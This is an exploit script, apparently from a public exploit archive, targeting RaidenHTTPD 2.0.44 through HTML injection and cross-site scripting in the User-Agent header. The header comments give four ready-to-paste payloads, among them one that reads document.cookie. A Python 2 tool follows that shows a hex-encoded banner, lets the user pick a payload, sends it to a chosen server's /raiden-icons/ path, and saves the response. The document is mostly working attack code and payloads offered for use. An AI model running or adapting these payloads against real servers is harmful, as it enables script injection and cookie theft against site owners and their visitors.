# Exploit Title:  RaidenHTTPD 2.0.44 - User-Agent - HTML Injection & Cross-site scripting

# Exploit Author: sultan albalawi

# :@bofheaded

# :https://hackinguyz.blogspot.com/

#exploit User-Agent HTTP header  :

#For remote testing use http-live -There is no need to use the script  <<<--------

#Delete or replace User-Agent  || Copy and paste this using http_live  <<<--------

#exploit 1= User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:54.0)hpqoa</title><script >alert(document.cookie)</script >wxo3i
#exploit 2= User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:54.0) Gecko/20100101 Firefox/54.0)hpqoa</title><img src =https://scontent-mxp1-1.xx.fbcdn.net/v/t1.0-9/13939522_163400494088381_3386303845241760770_n.jpg?oh=a3b8f974323844875d3e180d678c2366&oe=59D61CAD onerror=prompt[1]>wxo3i
#exploit 3= User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:54.0) Gecko/20100101 Firefox/54.0)hpqoa</title><form><input type="button" value="packetstormsecurity" onclick="javascript:window.open('https://packetstormsecurity.com/files/140925/zoomplayer1213-overflow.txt','calculator'+new Date().getTime(),'toolbar=no,location=no,directories=no,status=no,menubar=no,scrollbars=no,resizable=yes,copyhistory=no,width=450,height=300');"></form>wxo3i
#exploit 4=User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:54.0) Gecko/20100101 Firefox/54.0)hpqoa</title><script>alert('packetstormsecurity')</script>wxo3i
#
#----------------------------------------------------------------------
import requests,sys
def myB():
    print "\x27\x27\x27\x0d\x0a\x20\x20\x20\x20\x20" \
      "\x20\x20\x5c\x20\x20\x20\x2d\x20\x20\x2d\x20" \
      "\x20\x2d\x20\x3c\x73\x65\x72\x76\x65\x72\x3e" \
      "\x20\x20\x2d\x20\x5c\x2d\x2d\x2d\x3c\x20\x2d" \
      "\x20\x2d\x20\x20\x2d\x20\x2d\x20\x20\x2d\x20" \
      "\x20\x2a\x0d\x0a\x20\x20\x20\x20\x20\x20\x20" \
      "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \
      "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \
      "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \
      "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2a\x2a" \
      "\x2a\x0d\x0a\x20\x20\x20\x20\x20\x20\x20\x7c" \
      "\x20\x20\x20\x20\x44\x6f\x63\x5f\x41\x74\x74" \
      "\x61\x63\x6b\x20\x20\x20\x20\x20\x20\x20\x20" \
      "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \
      "\x20\x20\x20\x20\x20\x20\x20\x2a\x2a\x2a\x2a" \
      "\x2a\x0d\x0a\x20\x20\x20\x20\x20\x20\x20\x7c" \
      "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \
      "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \
      "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \
      "\x20\x20\x20\x20\x20\x20\x2a\x2a\x2a\x2a\x2a" \
      "\x2a\x2a\x0d\x0a\x20\x20\x20\x20\x20\x20\x20" \
      "\x76\x20\x20\x20\x20\x20\x20\x20\x20\x60\x20" \
      "\x60\x2e\x20\x20\x20\x20\x2c\x3b\x27\x20\x20" \
      "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \
      "\x20\x20\x20\x20\x20\x2a\x2a\x2a\x2a\x41\x70" \
      "\x50\x2a\x2a\x2a\x2a\x0d\x0a\x20\x20\x20\x20" \
      "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \
      "\x20\x60\x2e\x20\x20\x2c\x27\x2f\x20\x2e\x27" \
      "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \
      "\x20\x20\x20\x20\x20\x20\x20\x2a\x2a\x2a\x2a" \
      "\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x0d\x0a" \
      "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \
      "\x20\x20\x20\x20\x20\x20\x60\x2e\x20\x58\x20" \
      "\x2f\x2e\x27\x20\x20\x20\x20\x20\x20\x20\x20" \
      "\x20\x20\x20\x20\x20\x2a\x20\x20\x20\x20\x20" \
      "\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a" \
      "\x2a\x2a\x0d\x0a\x20\x20\x20\x20\x20\x20\x20" \
      "\x2e\x2d\x3b\x2d\x2d\x27\x27\x2d\x2d\x2e\x5f" \
      "\x60\x20\x60\x20\x28\x20\x20\x20\x20\x20\x20" \
      "\x20\x20\x20\x20\x20\x20\x20\x20\x2a\x2a\x2a" \
      "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x7c" \
      "\x0d\x0a\x20\x20\x20\x20\x20\x2e\x27\x20\x20" \
      "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2f\x20" \
      "\x20\x20\x20\x27\x20\x20\x20\x20\x20\x20\x20" \
      "\x20\x20\x20\x20\x20\x2a\x2a\x2a\x2a\x2a\x20" \
      "\x20\x20\x20\x20\x20\x20\x20\x20\x7c\x20\x64" \
      "\x61\x74\x61\x62\x61\x73\x65\x0d\x0a\x20\x20" \
      "\x20\x20\x20\x3b\x53\x65\x63\x75\x72\x69\x74" \
      "\x79\x60\x20\x20\x27\x20\x30\x20\x20\x30\x20" \
      "\x27\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2a" \
      "\x2a\x2a\x4e\x45\x54\x2a\x2a\x2a\x20\x20\x20" \
      "\x20\x20\x20\x20\x7c\x0d\x0a\x20\x20\x20\x20" \
      "\x2c\x20\x20\x20\x20\x20\x20\x20\x2c\x20\x20" \
      "\x20\x20\x27\x20\x20\x7c\x20\x20\x27\x20\x20" \
      "\x20\x20\x20\x20\x20\x20\x20\x20\x2a\x2a\x2a" \
      "\x2a\x2a\x2a\x2a\x2a\x2a\x20\x20\x20\x20\x20" \
      "\x20\x20\x5e\x0d\x0a\x20\x2c\x2e\x20\x7c\x20" \
      "\x20\x20\x20\x20\x20\x20\x27\x20\x20\x20\x20" \
      "\x20\x60\x2e\x5f\x2e\x27\x20\x20\x20\x20\x20" \
      "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x7c" \
      "\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x5e\x2d\x2d\x2d" \
      "\x5e\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \
      "\x2f\x0d\x0a\x20\x3a\x20\x20\x2e\x20\x60\x20" \
      "\x20\x3b\x20\x20\x20\x60\x20\x20\x60\x20\x2d" \
      "\x2d\x2c\x2e\x2e\x5f\x3b\x2d\x2d\x2d\x3e\x20" \
      "\x20\x20\x20\x20\x20\x20\x20\x20\x7c\x20\x20" \
      "\x20\x20\x20\x20\x20\x27\x2e\x27\x2e\x27\x5f" \
      "\x5f\x5f\x5f\x5f\x5f\x5f\x5f\x20\x2a\x0d\x0a" \
      "\x20\x20\x27\x20\x60\x20\x20\x20\x20\x2c\x20" \
      "\x20\x20\x29\x20\x20\x20\x2e\x27\x20\x20\x20" \
      "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \
      "\x20\x20\x20\x20\x20\x5e\x20\x20\x20\x20\x20" \
      "\x20\x20\x20\x7c\x5f\x7c\x20\x46\x69\x72\x65" \
      "\x77\x61\x6c\x6c\x20\x29\x0d\x0a\x20\x20\x20" \
      "\x20\x20\x60\x2e\x5f\x20\x2c\x20\x20\x27\x20" \
      "\x20\x20\x2f\x5f\x20\x20\x20\x20\x20\x20\x20" \
      "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \
      "\x20\x20\x7c\x20\x20\x20\x20\x20\x20\x20\x20" \
      "\x20\x20\x20\x20\x7c\x7c\x20\x20\x20\x20\x7c" \
      "\x7c\x0d\x0a\x20\x20\x20\x20\x20\x20\x20\x20" \
      "\x3b\x20\x2c\x27\x27\x2d\x2c\x3b\x27\x20\x60" \
      "\x60\x2d\x5f\x5f\x5f\x5f\x5f\x5f\x5f\x5f\x5f" \
      "\x5f\x5f\x5f\x5f\x5f\x5f\x5f\x5f\x7c\x0d\x0a" \
      "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x60\x60" \
      "\x2d\x2e\x2e\x5f\x5f\x60\x60\x2d\x2d\x60\x20" \
      "\x20\x20\x20\x20\x20\x20\x69\x70\x73\x20\x20" \
      "\x20\x20\x20\x20\x20\x2d\x20\x20\x20\x20\x20" \
      "\x20\x20\x20\x20\x20\x20\x5e\x20\x20\x20\x20" \
      "\x20\x20\x20\x20\x20\x20\x20\x20\x2f\x0d\x0a" \
      "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \
      "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \
      "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \
      "\x20\x20\x20\x20\x20\x20\x2d\x20\x20\x20\x20" \
      "\x20\x20\x20\x20\x27\x2e\x20\x5f\x2d\x2d\x2d" \
      "\x2d\x2d\x2d\x2d\x2d\x2d\x2a\x0d\x0a\x20\x20" \
      "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \
      "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \
      "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \
      "\x20\x20\x20\x20\x20\x2d\x5f\x5f\x5f\x5f\x5f" \
      "\x5f\x5f\x20\x7c\x5f\x20\x20\x49\x50\x53\x20" \
      "\x20\x20\x20\x20\x29\x0d\x0a\x20\x20\x20\x20" \
      "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \
      "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \
      "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \
      "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \
      "\x20\x20\x20\x20\x20\x7c\x7c\x20\x20\x20\x20" \
      "\x20\x7c\x7c\x0d\x0a\x20\x20\x20\x20\x20\x20" \
      "\x20\x20\x20\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d" \
      "\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d" \
      "\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d" \
      "\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d" \
      "\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x0d" \
      "\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \
      "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \
      "\x20\x20\x20\x20\x53\x75\x6c\x74\x61\x6e\x20" \
      "\x41\x6c\x62\x61\x6c\x61\x77\x69\x0d\x0a\x20" \
      "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \
      "\x20\x20\x20\x20\x20\x20\x68\x74\x74\x70\x73" \
      "\x3a\x2f\x2f\x77\x77\x77\x2e\x66\x61\x63\x65" \
      "\x62\x6f\x6f\x6b\x2e\x63\x6f\x6d\x2f\x70\x65" \
      "\x6e\x74\x65\x73\x74\x33\x0d\x0a\x20\x20\x20" \
      "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \
      "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x61" \
      "\x6c\x62\x61\x6c\x61\x77\x69\x34\x70\x65\x6e" \
      "\x74\x65\x73\x74\x40\x67\x6d\x61\x69\x6c\x2e" \
      "\x63\x6f\x6d\x0d\x0a\x20\x20\x20\x20\x20\x20" \
      "\x20\x20\x20\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d" \
      "\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d" \
      "\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d" \
      "\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d" \
      "\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x0d" \
      "\t\t\t\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61" \
      "\x63\x6b\x65\x74\x73\x74\x6f\x72\x6d\x73\x65\x63" \
      "\x75\x72\x69\x74\x79\x2e\x63\x6f\x6d\x2f\x66\x69" \
      "\x6c\x65\x73\x2f\x61\x75\x74\x68\x6f\x72\x2f\x31\x32\x35\x38\x36\x2f\r\n"\
      "\x20\x20\x20\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d" \
      "\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d" \
      "\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d" \
      "\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d" \
      "\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x0d"
if len(sys.argv) < 2:
    print 'ie: python ' + sys.argv[0] + ' <http://site.com:8080 > <or http://site.com> '
    sys.exit(1)

pyload = ['''<form><input type="button" value="packetstormsecurity" onclick="javascript:window.open('https://packetstormsecurity.com/files/140925/zoomplayer1213-overflow.txt','calculator'+new Date().getTime(),'toolbar=no,location=no,directories=no,status=no,menubar=no,scrollbars=no,resizable=yes,copyhistory=no,width=450,height=300');"></form>wxo3i''',
         "<script >alert(document.cookie)</script >",
         "<img src =https://scontent-mxp1-1.xx.fbcdn.net/v/t1.0-9/13939522_163400494088381_3386303845241760770_n.jpg?oh=a3b8f974323844875d3e180d678c2366&oe=59D61CAD onerror=prompt[1]>",
         "<script>alert(packetstormsecurity)</script>",
         "<img src=\"blah.jpg\" onerror=\"alert('XSS')\"/>"]
myB()
print "\r\n"
url = sys.argv[1]+'/raiden-icons/?jt_mtime=d'
print "\r\n"
print "target host: --> {}".format(url)
print "\r\n"
print "-"*50
print" 0  "+pyload[0]+"\t\n\r"
print" 1  "+pyload[1]+"\t\n\r"
print" 2  "+pyload[2]+"\t\n\r"
print" 3  "+pyload[3]+"\t\n\r"
print" 4  "+pyload[4]+"\t\n\r"
print "\t\n"+"-"*50
print "\r\n"
while True:
    print "\r\n"
    print "\r\n"
    num=pyload[input('exploit number : ')]
    headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:54.0) Gecko/20100101 Firefox/54.0)hpqoa</title>'+num+'wxo3i'}
    response = requests.get(url, headers=headers)
    print(response.content)
    file=open("RaidenHTTPD-2.0.44.html",'w')
    file.write(response.content)
    file.close()
    print "\t\n"+"="*50
    print "\r\n"
    print "\r\n"
    print 'file exploit created --> [ RaidenHTTPD-2.0.44.html ]'